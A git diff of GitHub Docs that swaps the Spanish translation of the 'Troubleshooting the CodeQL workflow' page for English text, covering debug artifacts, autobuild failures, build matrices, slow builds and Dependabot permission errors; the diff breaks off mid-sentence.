a/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md +++ b/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md @@ -1,7 +1,7 @@ --- -title: Solucionar problemas en el flujo de trabajo de CodeQL -shortTitle: Solucionar problemas del flujo de trabajo de CodeQL -intro: 'Si tienes problemas con el {% data variables.product.prodname_code_scanning %}, puedes solucionarlos si utilizas estos tips para resolver estos asuntos.' +title: Troubleshooting the CodeQL workflow +shortTitle: Troubleshoot CodeQL workflow +intro: 'If you''re having problems with {% data variables.product.prodname_code_scanning %}, you can troubleshoot by using these tips for resolving issues.' product: '{% data reusables.gated-features.code-scanning %}' redirect_from: - /github/finding-security-vulnerabilities-and-errors-in-your-code/troubleshooting-code-scanning @@ -26,25 +26,42 @@ topics: - C# - Java --- - {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.not-available %} -## Producir bitácoras detalladas para la depuración +## Producing detailed logs for debugging -Para producir una salida más detallada de bitácoras, puedes habilitar el registro de depuración de pasos. Para obtener más información, consulta la sección "[Habilitar el registro de depuración](/actions/managing-workflow-runs/enabling-debug-logging#enabling-step-debug-logging)." +To produce more detailed logging output, you can enable step debug logging. For more information, see "[Enabling debug logging](/actions/managing-workflow-runs/enabling-debug-logging#enabling-step-debug-logging)." -## Compilación automática para los fallos de un lenguaje compilado +{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5601 %} -Si una compilación automática de código para un lenguaje compilado dentro de tu proyecto falla, intenta los siguientes pasos de solución de problemas. +## Creating {% data variables.product.prodname_codeql %} debugging artifacts -- Elimina el paso de `autobuild` de tu flujo de trabajo de {% data variables.product.prodname_code_scanning %} y agrega los pasos de compilación específicos. Para obtener información sobre cómo editar el flujo de trabajo, consulta la sección "[Configurar el {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)". Para obtener más información sobre cómo reemplazar el paso de `autobuild`, consulta la sección "[Configurar el flujo de trabajo de {% data variables.product.prodname_codeql %} para los lenguajes compilados](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)". +You can obtain artifacts to help you debug {% data variables.product.prodname_codeql %} by setting a debug configuration flag. Modify the `init` step of your {% data variables.product.prodname_codeql %} workflow file and set `debug: true`. -- Si tu flujo de trabajo no especifica explícitamente los lenguajes a analizar, {% data variables.product.prodname_codeql %} detectará implícitamente los lenguajes compatibles en tu código base. En esta configuración, fuera de los lenguajes compilados C/C++, C#, y Java, {% data variables.product.prodname_codeql %} solo analizará el lenguaje presente en la mayoría de los archivos de origen. Edita el flujo de trabajo y agrega una matriz de compilación que especifique los lenguajes que quieres analizar. El flujo de análisis predeterminado de CodeQL utiliza dicha matriz. +``` +- name: Initialize CodeQL + uses: github/codeql-action/init@v1 + with: + debug: true +``` +The debug artifacts will be uploaded to the workflow run as an artifact named `debug-artifacts`. The data contains the {% data variables.product.prodname_codeql %} logs, {% data variables.product.prodname_codeql %} database(s), and any SARIF file(s) produced by the workflow. - Los siguientes extractos de un flujo de trabajo te muestran cómo puedes utilizar una matriz dentro de la estrategia del job para especificar lenguajes, y luego hace referencia a cada uno de ellos con el paso de "Inicializar {% data variables.product.prodname_codeql %}": +These artifacts will help you debug problems with {% data variables.product.prodname_codeql %} code scanning. If you contact GitHub support, they might ask for this data. + +{% endif %} + +## Automatic build for a compiled language fails + +If an automatic build of code for a compiled language within your project fails, try the following troubleshooting steps. + +- Remove the `autobuild` step from your {% data variables.product.prodname_code_scanning %} workflow and add specific build steps. For information about editing the workflow, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)." For more information about replacing the `autobuild` step, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)." + +- If your workflow doesn't explicitly specify the languages to analyze, {% data variables.product.prodname_codeql %} implicitly detects the supported languages in your code base. In this configuration, out of the compiled languages C/C++, C#, and Java, {% data variables.product.prodname_codeql %} only analyzes the language with the most source files. Edit the workflow and add a build matrix specifying the languages you want to analyze. The default CodeQL analysis workflow uses such a matrix. + + The following extracts from a workflow show how you can use a matrix within the job strategy to specify languages, and then reference each language within the "Initialize {% data variables.product.prodname_codeql %}" step: ```yaml jobs: @@ -66,13 +83,13 @@ Si una compilación automática de código para un lenguaje compilado dentro de languages: {% raw %}${{ matrix.language }}{% endraw %} ``` - Para obtener más información acerca de editar el flujo de trabajo, consulta la sección "[Configurar el escaneo de código](/code-security/secure-coding/configuring-code-scanning)". + For more information about editing the workflow, see "[Configuring code scanning](/code-security/secure-coding/configuring-code-scanning)." -## No se encontró código durante la compilación +## No code found during the build -Si tu flujo de trabajo falla con un error de `No source code was seen during the build` o de `The process '/opt/hostedtoolcache/CodeQL/0.0.0-20200630/x64/codeql/codeql' failed with exit code 32`, esto indica que {% data variables.product.prodname_codeql %} no pudo monitorear tu código. Hay muchas razones que podrían explicar esta falla: +If your workflow fails with an error `No source code was seen during the build` or `The process '/opt/hostedtoolcache/CodeQL/0.0.0-20200630/x64/codeql/codeql' failed with exit code 32`, this indicates that {% data variables.product.prodname_codeql %} was unable to monitor your code. Several reasons can explain such a failure: -1. La detección automática del lenguaje identificó un lenguaje compatible, pero no hay código analizable en dicho lenguaje dentro del repositorio. Un ejemplo típico es cuando nuestro servicio de detección de lenguaje encuentra un archivo que se asocia con un lenguaje de programación específico como un archivo `.h`, o `.gyp`, pero no existe el código ejecutable correspondiente a dicho lenguaje en el repositorio. Para resolver el problema, puedes definir manualmente los lenguajes que quieras analizar si actualizas la lista de éstos en la matriz de `language`. Por ejemplo, la siguiente configuración analizará únicamente a Go y a Javascript. +1. Automatic language detection identified a supported language, but there is no analyzable code of that language in the repository. A typical example is when our language detection service finds a file associated with a particular programming language like a `.h`, or `.gyp` file, but no corresponding executable code is present in the repository. To solve the problem, you can manually define the languages you want to analyze by updating the list of languages in the `language` matrix. For example, the following configuration will analyze only Go, and JavaScript. ```yaml strategy: @@ -83,119 +100,121 @@ Si tu flujo de trabajo falla con un error de `No source code was seen during the language: ['go', 'javascript'] ``` - Para obtener más información, consulta el extracto de flujo de trabajo en la sección "[Compilación automática para los fallos de un lenguaje compilado](#automatic-build-for-a-compiled-language-fails)" que se trata anteriormente. -1. Tu flujo de trabajo de {% data variables.product.prodname_code_scanning %} está analizando un lenguaje compilado (C, C++, C#, o Java), pero el código no se compiló. Predeterminadamente, el flujo de trabajo de análisis de {% data variables.product.prodname_codeql %} contiene un paso de `autobuild`, sin embargo, este paso representa un proceso de mejor esfuerzo y podría no tener éxito en compilar tu código, dependiendo de tu ambiente de compilación específico. También podría fallar la compilación si eliminaste el paso de `autobuild` y no incluiste manualmente los pasos de compilación. Para obtener más información acerca de especificar los pasos de compilación, consulta la sección "[Configurar el flujo de trabajo de {% data variables.product.prodname_codeql %} para los lenguajes compilados](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)". -1. Tu flujo de trabajo está analizando un lenguaje compilado (C, C++, C#, or Java), pero algunas porciones de tu compilación se almacenan en caché para mejorar el rendimiento (esto muy probablemente ocurra con los sistemas de compilación como Gradle o Bazel). Ya que {% data variables.product.prodname_codeql %} observa la actividad del compilador para entender los flujos de datos en un repositorio, {% data variables.product.prodname_codeql %} requiere que suceda una compilación completa para poder llevar a cabo este análisis. -1. Tu flujo de trabajo está analizando un lenguaje compilado (C, C++, C#, or Java), pero no ocurre ninguna compilación entre los pasos de `init` y `analyze` en el flujo de trabajo. {% data variables.product.prodname_codeql %} requiere que tu compilación tome lugar entre estos dos pasos para poder observar la actividad del compilador y llevar a cabo el análisis. -1. Tu código compilado (en C, C++, C#, or Java) se compiló con éxito, pero {% data variables.product.prodname_codeql %} no pudo detectar las invocaciones del compilador. Las causas más comunes son: + For more information, see the workflow extract in "[Automatic build for a compiled language fails](#automatic-build-for-a-compiled-language-fails)" above. +1. Your {% data variables.product.prodname_code_scanning %} workflow is analyzing a compiled language (C, C++, C#, or Java), but the code was not compiled. By default, the {% data variables.product.prodname_codeql %} analysis workflow contains an `autobuild` step, however, this step represents a best effort process, and may not succeed in building your code, depending on your specific build environment. Compilation may also fail if you have removed the `autobuild` step and did not include build steps manually. For more information about specifying build steps, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)." +1. Your workflow is analyzing a compiled language (C, C++, C#, or Java), but portions of your build are cached to improve performance (most likely to occur with build systems like Gradle or Bazel). Since {% data variables.product.prodname_codeql %} observes the activity of the compiler to understand the data flows in a repository, {% data variables.product.prodname_codeql %} requires a complete build to take place in order to perform analysis. +1. Your workflow is analyzing a compiled language (C, C++, C#, or Java), but compilation does not occur between the `init` and `analyze` steps in the workflow. {% data variables.product.prodname_codeql %} requires that your build happens in between these two steps in order to observe the activity of the compiler and perform analysis. +1. Your compiled code (in C, C++, C#, or Java) was compiled successfully, but {% data variables.product.prodname_codeql %} was unable to detect the compiler invocations. The most common causes are: - * Ejecutar tu proceso de compilación en un contenedor separado a {% data variables.product.prodname_codeql %}. Para obtener más información, consulta la sección "[Ejecutar el escaneo de código de CodeQL en un contenedor](/code-security/secure-coding/running-codeql-code-scanning-in-a-container)". - * Compilar utilizando un sistema de compilación distribuida externo a GitHub Actions, utilizando un proceso de daemon. - * {% data variables.product.prodname_codeql %} no está consciente del compilador específico que estás utilizando. + * Running your build process in a separate container to {% data variables.product.prodname_codeql %}. For more information, see "[Running CodeQL code scanning in a container](/code-security/secure-coding/running-codeql-code-scanning-in-a-container)." + * Building using a distributed build system external to GitHub Actions, using a daemon process. + * {% data variables.product.prodname_codeql %} isn't aware of the specific compiler you are using. - Para los proyectos de .NET Framework y los de C# que utilicen ya sea `dotnet build` o `msbuild` y que apunten a .NET Core 2, debes especificar `/p:UseSharedCompilation=false` en el paso `run` de tu flujo de trabajo cuando compiles tu código. No es necesario el marcador `UseSharedCompilation` para .NET Core 3.0 o superior. - - Por ejemplo, la siguiente configuración para C# pasará el marcador durante el primer paso de compilación. + For .NET Framework projects, and for C# projects using either `dotnet build` or `msbuild` that target .NET Core 2, you should specify `/p:UseSharedCompilation=false` in your workflow's `run` step, when you build your code. The `UseSharedCompilation` flag isn't necessary for .NET Core 3.0 and later. + + For example, the following configuration for C# will pass the flag during the first build step. ``` yaml - run: | dotnet build /p:UseSharedCompilation=false ``` - Si encuentras otro problema con tu compilador específico o con tu configuración, contacta a {% data variables.contact.contact_support %}. + If you encounter another problem with your specific compiler or configuration, contact {% data variables.contact.contact_support %}. -Para obtener más información acerca de especificar los pasos de compilación, consulta la sección "[Configurar el flujo de trabajo de {% data variables.product.prodname_codeql %} para los lenguajes compilados](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)". +For more information about specifying build steps, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)." {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -## Las líneas de código escaneado son menores de lo esperado +## Lines of code scanned are lower than expected -Para los lenguajes compilados como C/C++, C#, Go y Java, {% data variables.product.prodname_codeql %} solo escanea los archivos que se compilen durante el análisis. Por lo tanto, la cantidad de líneas de código escaneado será menor de lo esperado si parte del código fuente no se compila correctamente. Esto puede suceder por varias razones: +For compiled languages like C/C++, C#, Go, and Java, {% data variables.product.prodname_codeql %} only scans files that are built during the analysis. Therefore the number of lines of code scanned will be lower than expected if some of the source code isn't compiled correctly. This can happen for several reasons: -1. La característica de `autobuild` del {% data variables.product.prodname_codeql %} utiliza la heurística para compilar el código de un repositorio. Sin embargo, algunas veces, este enfoque da como resultado un análisis incompleto del repositorio. Por ejemplo, cuando existen comandos múltiples de `build.sh` en un solo repositorio, el análisis podría no completarse, ya que el paso de `autobuild` solo se ejecutará en uno de los comandos y, por lo tanto, algunos archivos origen no se compilarán. -1. Algunos compiladores no funcionan con {% data variables.product.prodname_codeql %} y pueden causar problemas cuando analizan el código. Por ejemplo, Project Lombok utiliza unas API de compilación no públicas para modificar el comportamiento del compilador. Las asunciones que se utilizan en las modificaciones de este compilador no son válidas para el extractor de Java de {% data variables.product.prodname_codeql %}, así que el código no se puede analizar. +1. The {% data variables.product.prodname_codeql %} `autobuild` feature uses heuristics to build the code in a repository. However, sometimes this approach results in an incomplete analysis of a repository. For example, when multiple `build.sh` commands exist in a single repository, the analysis may not be complete since the `autobuild` step will only execute one of the commands, and therefore some source files may not be compiled. +1. Some compilers do not work with {% data variables.product.prodname_codeql %} and can cause issues while analyzing the code. For example, Project Lombok uses non-public compiler APIs to modify compiler behavior. The assumptions used in these compiler modifications are not valid for {% data variables.product.prodname_codeql %}'s Java extractor, so the code cannot be analyzed. -Si tu análisis de {% data variables.product.prodname_codeql %} escanea menos líneas de código de lo esperado, hay varios enfoques que puedes intentar para asegurarte de que todos los archivos de código fuente necesarios se compilen. +If your {% data variables.product.prodname_codeql %} analysis scans fewer lines of code than expected, there are several approaches you can try to make sure all the necessary source files are compiled. -### Reemplaza el paso `autobuild` +### Replace the `autobuild` step -Reemplaza el paso `autobuild` con los mismos comandos de compilación que utilizarías en producción. Esto garantiza que {% data variables.product.prodname_codeql %} sepa exactamente cómo compilar todos los archivos de código fuente que quieras escanear. Para obtener más información, consulta la sección "[Configurar el flujo de trabajo de {% data variables.product.prodname_codeql %} para los lenguajes compilados](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)". +Replace the `autobuild` step with the same build commands you would use in production. This makes sure that {% data variables.product.prodname_codeql %} knows exactly how to compile all of the source files you want to scan. +For more information, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)." -### Inspecciona la copia de los archivos de código fuente en la base de datos de {% data variables.product.prodname_codeql %} -Podrías entender por qué algunos archivos de código fuente no se ha analizado si inspeccionas la copia del código fuente que se incluye utilizando la base de datos de {% data variables.product.prodname_codeql %}. Para obtener la base de datos del flujo de trabajo de tus acciones, agrega una acción de `upload-artifact` después del paso de análisis en tu flujo de trabajo de escaneo de código: +### Inspect the copy of the source files in the {% data variables.product.prodname_codeql %} database +You may be able to understand why some source files haven't been analyzed by inspecting the copy of the source code included with the {% data variables.product.prodname_codeql %} database. To obtain the database from your Actions workflow, add an `upload-artifact` action after the analysis step in your code scanning workflow: ``` - uses: actions/upload-artifact@v2 with: name: codeql-database path: ../codeql-database ``` -Esto carga la base de datos como un artefacto de acciones que puedes descargar en tu máquina local. Para obtener más información, consulta la sección "[Almacenar artefactos de los flujos de trabajo ](/actions/guides/storing-workflow-data-as-artifacts)". +This uploads the database as an actions artifact that you can download to your local machine. For more information, see "[Storing workflow artifacts](/actions/guides/storing-workflow-data-as-artifacts)." -El artefacto contendrá una copia archivada de los archivos de código fuente que escaneó el {% data variables.product.prodname_codeql %} llamada _src.zip_. Si comparas los archivos de código fuente en el repositorio con los archivos en _src.zip_, puedes ver qué tipos de archivo faltan. Una vez que sepas qué tipos de archivo son los que no se analizan es más fácil entender cómo podrías cambiar el flujo de trabajo para el análisis de {% data variables.product.prodname_codeql %}. +The artifact will contain an archived copy of the source files scanned by {% data variables.product.prodname_codeql %} called _src.zip_. If you compare the source code files in the repository and the files in _src.zip_, you can see which types of file are missing. Once you know what types of file are not being analyzed, it is easier to understand how you may need to change the workflow for {% data variables.product.prodname_codeql %} analysis. -## Extracción de errores en la base de datos +## Extraction errors in the database -El equipo de {% data variables.product.prodname_codeql %} trabaja constantemente en los errores de extracción críticos para asegurarse de que todos los archivos de código fuente pueden escanearse. Sin embargo, los extractores de {% data variables.product.prodname_codeql %} sí generan errores durante la creación de bases de datos ocasionalmente. {% data variables.product.prodname_codeql %} proporciona información acerca de los errores de extracción y las advertencias que se generan durante la creación de bases de datos en un archivo de bitácora. La información de diagnóstico de extracción proporciona una indicación de la salud general de la base de datos. La mayoría de los errores del extractor no impactan el análisis significativamente. Una pequeña parte de los errores del extractor es saludable y, a menudo, indica un buen estado del análisis. +The {% data variables.product.prodname_codeql %} team constantly works on critical extraction errors to make sure that all source files can be scanned. However, the {% data variables.product.prodname_codeql %} extractors do occasionally generate errors during database creation. {% data variables.product.prodname_codeql %} provides information about extraction errors and warnings generated during database creation in a log file. +The extraction diagnostics information gives an indication of overall database health. Most extractor errors do not significantly impact the analysis. A small number of extractor errors is healthy and typically indicates a good state of analysis. -Sin embargo, si ves errores del extractor en la vasta mayoría de archivos que se compilan durante la creación de la base de datos, deberías revisarlos a detalle para intentar entender por qué algunos archivos de código fuente no se extrajeron adecuadamente. +However, if you see extractor errors in the overwhelming majority of files that were compiled during database creation, you should look into the errors in more detail to try to understand why some source files weren't extracted properly. {% else %} -## Algunas porciones de mi repositorio no se analizaron con `autobuild` +## Portions of my repository were not analyzed using `autobuild` -La característica de `autobuild` de {% data variables.product.prodname_codeql %} utiliza la heurística para compilar el código en un repositorio, sin embargo, algunas veces este acercamiento da como resultado un análisis incompleto de un repositorio. Por ejemplo, cuando existen comandos múltiples de `build.sh` en un solo repositorio, el análisis podría no completarse, ya que el paso de `autobuild` solo se ejecutará en uno de los comandos. La solución es reemplazar el paso de `autobuild` con los pasos de compilación que compilarán todo el código fuente que quieras analizar. Para obtener más información, consulta la sección "[Configurar el flujo de trabajo de {% data variables.product.prodname_codeql %} para los lenguajes compilados](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)". +The {% data variables.product.prodname_codeql %} `autobuild` feature uses heuristics to build the code in a repository, however, sometimes this approach results in incomplete analysis of a repository. For example, when multiple `build.sh` commands exist in a single repository, the analysis may not complete since the `autobuild` step will only execute one of the commands. The solution is to replace the `autobuild` step with build steps which build all of the source code which you wish to analyze. For more information, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)." {% endif %} -## La compilación tarda demasiado +## The build takes too long -Si tu compilación con análisis de {% data variables.product.prodname_codeql %} toma demasiado para ejecutarse, hay varios acercamientos que puedes intentar para reducir el tiempo de compilación. +If your build with {% data variables.product.prodname_codeql %} analysis takes too long to run, there are several approaches you can try to reduce the build time. -### Incrementar la memoria o los núcleos +### Increase the memory or cores -Si utilizas ejecutores auto-hospedados para ejecutar el análisis de {% data variables.product.prodname_codeql %}, puedes incrementar la memoria o la cantidad de núcleos en estos ejecutores. +If you use self-hosted runners to run {% data variables.product.prodname_codeql %} analysis, you can increase the memory or the number of cores on those runners. -### Utilizar matrices de compilación para paralelizar el análisis +### Use matrix builds to parallelize the analysis -El {% data variables.product.prodname_codeql_workflow %} predeterminado utiliza una matriz de lenguajes, la cual causa que el análisis de cada uno de ellos se ejecute en paralelo. Si especificaste los lenguajes que quieres analizar directamente en el paso de "Inicializar CodeQL", el análisis de cada lenguaje ocurrirá de forma secuencial. Para agilizar el análisis de lenguajes múltiples, modifica tu flujo de trabajo para utilizar una matriz. Para obtener más información, consulta el extracto de flujo de trabajo en la sección "[Compilación automática para los fallos de un lenguaje compilado](#automatic-build-for-a-compiled-language-fails)" que se trata anteriormente. +The default {% data variables.product.prodname_codeql_workflow %} uses a build matrix of languages, which causes the analysis of each language to run in parallel. If you have specified the languages you want to analyze directly in the "Initialize CodeQL" step, analysis of each language will happen sequentially. To speed up analysis of multiple languages, modify your workflow to use a matrix. For more information, see the workflow extract in "[Automatic build for a compiled language fails](#automatic-build-for-a-compiled-language-fails)" above. -### Reducir la cantidad de código que se está analizando en un solo flujo de trabajo +### Reduce the amount of code being analyzed in a single workflow -El tiempo de análisis es habitualmente proporcional a la cantidad de código que se esté analizando. Puedes reducir el tiempo de análisis si reduces la cantidad de código que se analice en cada vez, por ejemplo, si excluyes el código de prueba o si divides el análisis en varios flujos de trabajo que analizan únicamente un subconjunto de tu código a la vez. +Analysis time is typically proportional to the amount of code being analyzed. You can reduce the analysis time by reducing the amount of code being analyzed at once, for example, by excluding test code, or breaking analysis into multiple workflows that analyze only a subset of your code at a time. -Para los lenguajes compilados como Java, C, C++ y C#, {% data variables.product.prodname_codeql %} analiza todo el código que se haya compilado durante la ejecución del flujo de trabajo. Para limitar la cantidad de código que se está analizando, compila únicamente el código que quieres analizar especificando tus propios pasos de compilación en un bloque de `run`. Puedes combinar el especificar tus propios pasos de compilación con el uso de filtros de `paths` o `paths-ignore` en los eventos de `pull_request` y de `push` para garantizar que tu flujo de trabajo solo se ejecute cuando se cambia el código específico. Para obtener más información, consulta la sección "[Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpaths)". +For compiled languages like Java, C, C++, and C#, {% data variables.product.prodname_codeql %} analyzes all of the code which was built during the workflow run. To limit the amount of code being analyzed, build only the code which you wish to analyze by specifying your own build steps in a `run` block. You can combine specifying your own build steps with using the `paths` or `paths-ignore` filters on the `pull_request` and `push` events to ensure that your workflow only runs when specific code is changed. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpaths)." -Para los lenguajes interpretados como Go, JavaScript, Python y TypeScript que analiza {% data variables.product.prodname_codeql %} sin una compilación específica, puedes especificar opciones de configuración adicionales para limitar la cantidad de código a analizar. Para obtener más información, consulta la sección "[Especificar los directorios a escanear](/code-security/secure-coding/configuring-code-scanning#specifying-directories-to-scan)". +For interpreted languages like Go, JavaScript, Python, and TypeScript, that {% data variables.product.prodname_codeql %} analyzes without a specific build, you can specify additional configuration options to limit the amount of code to analyze. For more information, see "[Specifying directories to scan](/code-security/secure-coding/configuring-code-scanning#specifying-directories-to-scan)." -Si divides tu análisis en varios flujos de trabajo como se describió anteriormente, aún te recomendamos que por lo menos tengas un flujo de trabajo que se ejecute con un `schedule` que analice todo el código en tu repositorio. Ya que {% data variables.product.prodname_codeql %} analiza los flujos de datos entre componentes, algunos comportamientos de seguridad complejos podrían detectarse únicamente en una compilación completa. +If you split your analysis into multiple workflows as described above, we still recommend that you have at least one workflow which runs on a `schedule` which analyzes all of the code in your repository. Because {% data variables.product.prodname_codeql %} analyzes data flows between components, some complex security behaviors may only be detected on a complete build. -### Ejecutar únicamente durante un evento de `schedule` +### Run only during a `schedule` event -Si tu análisis aún es muy lento como para ejecutarse durante eventos de `push` o de `pull_request`, entonces tal vez quieras activar el análisis únicamente en el evento de `schedule`. Para obtener más información, consulta la sección "[Eventos](/actions/learn-github-actions/introduction-to-github-actions#events)". +If your analysis is still too slow to be run during `push` or `pull_request` events, then you may want to only trigger analysis on the `schedule` event. For more information, see "[Events](/actions/learn-github-actions/introduction-to-github-actions#events)." {% ifversion fpt or ghec %} -## Los resultados difieren de acuerdo con la plataforma de análisis +## Results differ between analysis platforms -Si estás analizando código escrito en Python, podrías ver resultados diferentes dependiendo de si ejecutas el {% data variables.product.prodname_codeql_workflow %} en Linux, macOS o Windows. +If you are analyzing code written in Python, you may see different results depending on whether you run the {% data variables.product.prodname_codeql_workflow %} on Linux, macOS, or Windows. -En los ejecutores hospedados en GitHub que utilizan Linux, el {% data variables.product.prodname_codeql_workflow %} intenta instalar y analizar las dependencias de Python, lo cual podría llevar a más resultados. Para inhabilitar la auto instalación, agrega `setup-python-dependencies: false` al paso de "Initialize CodeQL" en el flujo de trabajo. Para obtener más información acerca de la configuración del análisis para las dependencias de Python, consulta la sección "[Analizar las dependencias de Python](/code-security/secure-coding/configuring-code-scanning#analyzing-python-dependencies)". +On GitHub-hosted runners that use Linux, the {% data variables.product.prodname_codeql_workflow %} tries to install and analyze Python dependencies, which could lead to more results. To disable the auto-install, add `setup-python-dependencies: false` to the "Initialize CodeQL" step of the workflow. For more information about configuring the analysis of Python dependencies, see "[Analyzing Python dependencies](/code-security/secure-coding/configuring-code-scanning#analyzing-python-dependencies)." {% endif %} -## Error: "Error de servidor" +## Error: "Server error" -Si la ejecución de un flujo de trabajo para {% data variables.product.prodname_code_scanning %} falla debido a un error de servidor, trata de ejecutar el flujo de trabajo nuevamente. Si el problema persiste, contaca a {% data variables.contact.contact_support %}. +If the run of a workflow for {% data variables.product.prodname_code_scanning %} fails due to a server error, try running the workflow again. If the problem persists, contact {% data variables.contact.contact_support %}. -## Error: "Out of disk" o "Out of memory" +## Error: "Out of disk" or "Out of memory" On very large projects, {% data variables.product.prodname_codeql %} may run out of disk or memory on the runner. -{% ifversion fpt or ghec %}Si te encuentras con este problema en un ejecutor de {% data variables.product.prodname_actions %}, contacta a {% data variables.contact.contact_support %} para que podamos investigar el problema. -{% else %}Si llegas a tener este problema, intenta incrementar la memoria en el ejecutor.{% endif %} +{% ifversion fpt or ghec %}If you encounter this issue on a hosted {% data variables.product.prodname_actions %} runner, contact {% data variables.contact.contact_support %} so that we can investigate the problem. +{% else %}If you encounter this issue, try increasing the memory on the runner.{% endif %} {% ifversion fpt or ghec %} -## Error:403 "No se puede acceder al recurso por integración" al utilizar {% data variables.product.prodname_dependabot %} +## Error: 403 "Resource not accessible by integration" when using {% data variables.product.prodname_dependabot %} -El {% data variables.product.prodname_dependabot %} se considera no confiable cuando activa una ejecución de flujo de trabajo y este se ejecutará con un alcance de solo lectura. El cargar resultados del {% data variables.product.prodname_code_scanning %} en una rama a menudo requiere del alcance `security_events: write`. Sin embargo, el {% data variables.product.prodname_code_scanning %} siempre permite que se carguen los resultados cuando el evento `pull_request` activa la ejecución de la acción. Es por esto que, para las ramas del {% data variables.product.prodname_dependabot %}, te recomendamos utilizar el evento `pull_request` en vez del evento `push`. +{% data variables.product.prodname_dependabot %} is considered untrusted when it triggers a workflow run, and the workflow will run with read-only scopes. Uploading {% data variables.product.prodname_code_scanning %} results for a branch usually requires the `security_events: write` scope. However, {% data variables.product.prodname_code_scanning %} always allows the uploading of results when the `pull_request` event triggers the action run. This is why, for {% data variables.product.prodname_dependabot %} branches, we recommend you use the `pull_request` event instead of the `push` event. -Un enfoque simple es ejecutar las subidas a la rama predeterminada y cualquier otra rama que se ejecute a la larga, así como las solicitudes de cambio que se abren contra este conjunto de ramas: +A simple approach is to run on pushes to the default branch and any other important long-running branches, as well as pull requests opened against this set of branches: ```yaml on: push: @@ -205,7 +224,7 @@ on: branches: - main ``` -Un enfoque alternativo es ejecutar todas las subidas con excepción de las ramas del {% data variables.product.prodname_dependabot %}: +An alternative approach is to run on all pushes except for {% data variables.product.prodname_dependabot %} branches: ```yaml on: push: @@ -214,18 +233,18 @@ on: pull_request: ``` -### El análisis aún falla en la rama predeterminada +### Analysis still failing on the default branch -Si el {% data variables.product.prodname_codeql_workflow %} aún falla en una confirmación que se hizo en una rama predeterminada, debes verificar: -- si el {% data variables.product.prodname_dependabot %} fue el autor de la confirmación -- si la solicitud de cambios que incluye la confirmación se fusionó utilizando `@dependabot squash and merge` +If the {% data variables.product.prodname_codeql_workflow %} still fails on a commit made on the default branch, you need to check: +- whether {% data variables.product.prodname_dependabot %} authored the commit +- whether the pull request that includes the commit has been merged using `@dependabot squash and merge` -Este tipo de confirmación por fusión tiene como autor al {% data variables.product.prodname_dependabot %} y, por lo tanto, cualquier flujo de trabajo que se ejecute en la confirmación tendrá permisos de solo lectura. Si habilitaste las actualizaciones de seguridad o de versión del {% data variables.product.prodname_code_scanning %} y del {% data variables.product.prodname_dependabot %} en tu repositorio, te recomendamos que evites utilizar el comando `@dependabot squash and merge` del {% data variables.product.prodname_dependabot %}. En su lugar, puedes habilitar la fusión automática en tu repositorio. Esto significa que las solicitudes de cambio se fusionarán automáticamente cuando se cumplan todas las revisiones requeridas y cuando pasen todas las verificaciones de estado. Para obtener más información sobre cómo habilitar la fusión automática, consulta la sección "[Fusionar una solicitud de cambios automáticamente](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request#enabling-auto-merge)". +This type of merge commit is authored by {% data variables.product.prodname_dependabot %} and therefore, any workflows running on the commit will have read-only permissions. If you enabled {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_dependabot %} security updates or version updates on your repository, we recommend you avoid using the {% data variables.product.prodname_dependabot %} `@dependabot squash and merge` command. Instead, you can enable auto-merge for your repository. This means that pull requests will be automatically merged when all required reviews are met and status checks have passed. For more information about enabling auto-merge, see "[Automatically merging a pull request](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request#enabling-auto-merge)." {% endif %} ## Warning: "git checkout HEAD^2 is no longer necessary" -Si estás utilizando un flujo de trabajo de {% data variables.product.prodname_codeql %} antiguo, podrías obtener el siguiente mensaje de advertencia en la salida "inicializar {% data variables.product.prodname_codeql %}" de la acción: +If you're using an old {% data variables.product.prodname_codeql %} workflow you may get the following warning in the output from the "Initialize {% data variables.product.prodname_codeql %}" action: ``` Warning: 1 issue was detected with this workflow: git checkout HEAD^2 is no longer @@ -233,7 +252,7 @@ necessary. Please remove this step as Code Scanning recommends analyzing the mer commit for best results. ``` -Puedes arreglar esto si eliminas las siguientes líneas del flujo de trabajo de {% data variables.product.prodname_codeql %}. Estas líneas se incluyeron en la sección de `steps` del job `Analyze` en las versiones iniciales del flujo de trabajo de {% data variables.product.prodname_codeql %}. +Fix this by removing the following lines from the {% data variables.product.prodname_codeql %} workflow. These lines were included in the 